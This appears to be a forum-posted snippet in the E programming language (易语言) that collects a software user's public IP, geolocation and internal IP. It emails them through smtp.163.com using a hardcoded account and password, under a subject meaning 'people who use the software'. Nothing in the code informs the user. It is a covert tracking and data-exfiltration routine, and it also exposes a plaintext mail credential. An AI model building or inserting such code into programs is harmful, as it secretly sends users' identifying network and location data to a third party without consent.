.版本 2
.支持库 xplib
.支持库 spec
.支持库 internet
.局部变量 c, 文本型
.局部变量 a, 文本型
.局部变量 b, 文本型
.局部变量 d, 文本型
.局部变量 e, 文本型
c ＝ 到文本 (彗星HTTP读文件 (“baidu.com/s?wd=ip&rsv_bp=0&inputT=3684baidu.com/s?wd=ip&rsv_bp=0&inputT=3684”))
调试输出 (c)
d ＝ 到文本 (文本_取出中间文本 (c, “;<strong>”, “</strong>”))
标签6.标题 ＝ d
e ＝ 转换为IP地址 (取主机名 ())
a ＝ 到文本 (时间_北京转格林威治 (取现行时间 ()))
b ＝ 到文本 (彗星HTTP读文件 (“opendata.baidu.com/api.php?resource_id=6006&query=” ＋ 标签6.标题 ＋ “&ie=gbk&oe=gbk&cb=op_aladdin_temp_ip.callback&tn=baidu&format=json&t=” ＋ a))
标签8.标题 ＝ 文本_取出中间文本 (b, #引号 ＋ “location” ＋ #引号 ＋ “:” ＋ #引号, #引号 ＋ “, ” ＋ #引号 ＋ “titlecont”)
连接发信服务器 (“smtp.163.com”, 25, “
[email protected]”, “mxb19900309”, )
发送邮件 (“使用软件的人”, “使用用户的外网IP为：” ＋ 标签6.标题 ＋ “--所在地：” ＋ 标签8.标题 ＋ “ --内网IP为：” ＋ e, “
[email protected]”, , , “
[email protected]”, )
如果对你有用可联系我给你源码 QQ：6205957
